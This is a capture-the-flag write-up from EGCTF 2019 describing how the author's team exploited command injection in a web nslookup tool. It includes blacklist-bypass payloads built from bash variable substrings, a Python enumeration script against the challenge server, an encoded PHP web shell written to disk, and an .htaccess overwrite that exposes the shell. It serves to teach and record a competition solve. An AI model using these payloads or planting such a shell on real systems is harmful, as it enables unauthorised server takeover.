EGCTF — Lookup challenge writeup (400pts)
By Ahmed Sherif
In this write-up, I’m going to walk you through one of the most interesting challenges I have been playing recently together with my teammates in the EGCTF 2019.
Start
When we got started with the challenge, we get the following lookup page.
The first idea that could pop-up in anyone mind is that we can do ‘command injection’ through the ‘nslookup’ command.
Fuzzing
We started doing some fuzzing with basic command injection characters to assess the behaviour of the application and ended up with the following:
By looking into the allowed characters we can assume that the challenge would be solved with the variable expansion.
Additionally, the ‘*’ character was allowed, by making use of it, it was found that we can see part of the list of the current files.
The /proc/self/fd/1 trick
There is already a nice trick where you can redirect the output to the terminal output.
More information: https://www.reddit.com/r/linux/comments/22vb8w/a_cool_trick_with_procselffd/
Combining all Together
We cannot execute the following command because of the black-listed
* > /proc/self/fd/1
As seen in the above screenshot, this did not work out because of black-listed characters, so we do combine it with the variable expansion as below:
*> ${PATH:0:1}proc${PATH:0:1}$$${PATH:0:1}fd${PATH:0:1}1
You can have a look at variable expansion from here: https://www.gnu.org/software/bash/manual/html_node/Shell-Parameter-Expansion.html
Index backup source code
Checking the ‘index.php.bak’, we end-up with the source code of the PHP file as follows:
Test Regex
There is a nice online service by regex101.com which allows you to write-down your regex and do the string tests on it.
A quick explanation: we have been ‘substring’ of the ‘PATH’ environment variable to get ‘/’ character since its black-listed.
➜ ~ echo ${PATH:0:1}/➜ ~ echo ${PATH:0:2}/u➜ ~ echo ${PATH:0:3}/us➜ ~ echo ${PATH:0:4}/usr➜ ~
Based on the above example we can form-up our payloads to override/replace any black-listed characters. However, do we really have enough characters from the environment variables?
Looking at the full string of ‘PATH’, it does not really give all possible characters to form-up our payload.
Enumerating the rest of variables
So far, we only know the ‘PATH’ variable and we need to get more characters to be able to form-up our payloads. By making use of the following formation:
${!A*} > ${PATH:0:1}proc${PATH:0:1}$$${PATH:0:1}fd${PATH:0:1}1
We will be able to retrieve all the environment variable starting with ‘A’. We wrote a quick python script to get all the environment variables existing.
#!/usr/bin/env pythonimport requestsdef fuzz(url,parameter,method,string):
chars = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
for char in chars:
parameters = {'host': '${!'+char+'*} > ${PATH:0:1}proc${PATH:0:1}$$${PATH:0:1}fd${PATH:0:1}1'}
r = requests.get(url,params = parameters)
if string in r.text:
chars.remove(char)
else:
print(r.text)
print(r.text)fuzz('http://167.172.236.59/l00kup/index.php','test','GET','Hacking Attempt!!')
We end-up with many variables that can be used in our payloads
APACHE_LOCK_DIR
APACHE_LOG_DIR
APACHE_PID_FILE
APACHE_RUN_DIR
APACHE_RUN_GROUP
APACHE_RUN_USER
APIKEY
BASH BASHOPTS
BASHPID
BASH_ALIASES
BASH_ARGC
BASH_ARGV
BASH_CMDS BASH_COMMAND
BASH_EXECUTION_STRING
BASH_LINENO
BASH_SOURCE BASH_SUBSHELL
BASH_VERSINFO
BASH_VERSION
COMP_WORDBREAKS
Connection
DIRSTACK
EUID
GROUPS
HISTCMD
HOSTNAME
HOSTTYPE
IFS
INVOCATION_ID
JOURNAL_STREAM
LANG
LINENO
Licenseid
MACHTYPE
OPTERR
OPTIND
OSTYPE
PATH POSIXLY_CORRECT
PPID
PS4
PWD
RANDOM
SECONDS
SHELL
SHELLOPTS
SHLVL
TERM
UID
Doing the enumeration to get the content of each variable, placed it into the intruder and got the following results:
Now we can get many characters which would allow us to write down our own PHP shell. Looking at the following part of the source code:
We see that the application is taking the user IP address and create a file with ‘.htaccess’ to deny access to everyone. hence, even if we succeeded in uploading our own shell, we will get ‘access denied — Forbidden’.
Forming up the PHP shell
Let's assume that we would like to write down the below shell:
<?php system($_GET['cmd']);?>
We will now do the replacement as we figured out in the enumerated variables.
The equivalent string will be as follows:
${COMP_WORDBREAKS:7:1}?php system${COMP_WORDBREAKS:12:1}${Connection:11:1}${HOSTTYPE:3:1}GET[c]${Licenseid:35:35}${COMP_WORDBREAKS:9:1}?${COMP_WORDBREAKS:6:1}
Now we will write the PHP shell in our ‘tmp/’ directory.
${COMP_WORDBREAKS:7:1}?php system${COMP_WORDBREAKS:12:1}${Connection:11:1}${HOSTTYPE:3:1}GET[c]${Licenseid:35:35}${COMP_WORDBREAKS:9:1}?${COMP_WORDBREAKS:6:1} > tmp${PATH:0:1}users_data${PATH:0:1}b7c871301d2a6152b1f1f7eb6b59c2ef${PATH:0:1}file.php
One last step needed:
The htaccess will not allow us to access the shell since we have to write access, we will over-ride the htaccess with ‘Allow from all’ as below:
"allow from all" > tmp${PATH:0:1}users_data${PATH:0:1}b7c871301d2a6152b1f1f7eb6b59c2ef${PATH:0:1}.htaccess
We are good to go:
Let's navigate to the PHP shell:
Voila! We made it.
Conclusion
We have really enjoyed the CTF, learnt a lot of stuff and had a lot of fun. Additionally, we ended up with the 2nd place 😀